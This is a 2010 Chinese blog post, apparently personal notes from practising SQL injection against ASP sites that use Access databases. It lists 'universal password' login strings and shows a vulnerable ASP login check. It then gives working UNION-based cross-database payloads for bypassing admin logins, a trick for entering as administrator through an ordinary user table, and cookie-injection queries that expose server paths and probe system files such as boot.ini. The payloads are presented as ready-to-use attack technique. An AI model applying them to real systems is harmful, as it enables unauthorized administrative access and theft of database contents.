发表于 2010-07-11, 5:30 PM.
发表在:
周末无聊做了下注射复习,发现了两个有意思的东西
对于后台登陆我们可以采用的方法如下
1、假设查询内容为不存在id 那么name pass 均为null
这种就是我们通用的所谓万能密码方式
用户'or'='or'或'or' 或'or'a'='a或'or'a'or'
密码''或''or''=''或 ''or''或''or'a'='a'
等其他组合
但是有这样一种验证方式基本没有办法突破那就是
fname=request.form("name")
pass=request.form("pass")
if fname<>"" then
sql="select * from admin where admin='"&fname&"'"
set rs=server.createobject("adodb.recordset")
rs.open sql,conn,1,1
if not rs.eof then
if pass=rs("pass") then
session("admin")=fname
response.redirect "index.asp"
end if
end if
这种方式由于数据库中的pass我们无法得到,但我们可以有两重实现方式
2、跨库绕过后台登陆,当其他库xinnv.mdb有同类型字段的时候就可以用联合查询所返回的数据覆盖原数据库的内容,这样我们所要构造的用户和密码就根据我们所跨库的内容决定,假设跨库数据库xinnv.mdb的admin表中用户为xinnv,密码为jioudaotian那么登陆里的语句就可以写成
用户:xinnv' union select * from admin in 'c:\xinnv.mdb
密码: jioudaotian
这样我们就可以完美的绕过登陆了,这里要注意的是用户中select * 这个地方很关键要和联合查询之前的语句保持同步
至于这个所跨的库只要能上传到服务器上就可以不论什么后缀都行的
如果验证采用rs(1) 这种方式的话那么我们连数据库表的列名都不用知道就可以解决问题
3、进一不如果当前管理员库与用户库名一样即user库与admin库结构一样,那么我们可以用普通用户来绕过管理员登陆
用户:' union select * from user in './data/data.mdb 或' union select * from user in './data/data.mdb' where username='xinnv
密码:自己注册的密码(如果是只存在一个用户的话)
对于穿山甲cookie注入工具可以实现相对路径数据库定位,这样很容易暴出web路径来
如cookie注入语句
43 and 1=2 union select 1,2,3,name,5,6 from admin in 'a.mdb'
则会提示[Microsoft][ODBC Microsoft Access Driver] 找不到文件 'E:\wwwroot\UCMCC\xueyu\gb\a.mdb'。
所以我们在查询的时候要注意相对位置及符号问题
43 or 0<>(select count(*) from c:\boot.ini) 这种查询就应该改为43 or 0<>(select count(*) from c:\\boot.ini.a)
提示就是[Microsoft][ODBC Microsoft Access Driver] 不可识别的数据库格式 'c:\boot.ini'。
记录一个查询语句
43 or 0<>(select count(*) from c:\\data.admin) 返回全部数据
43 and 1=2 union select 1,2,*,3 from c:\\data.admin返回数据显示为*中的第1个数据不包括id
43 and 1=2 union select * from c:\\data.music where id =5正常语句
43 and 1=2 union select 1,2,3,pass,5 ,6 from admin in 'c:\data.mdb'正常语句
43 and 1=2 union select 1,2,3,pass,5 ,6 from admin in './../../music/data/data.mdb'正常语句
上一篇:
感悟
下一篇:
可能真的碰到外星人了
|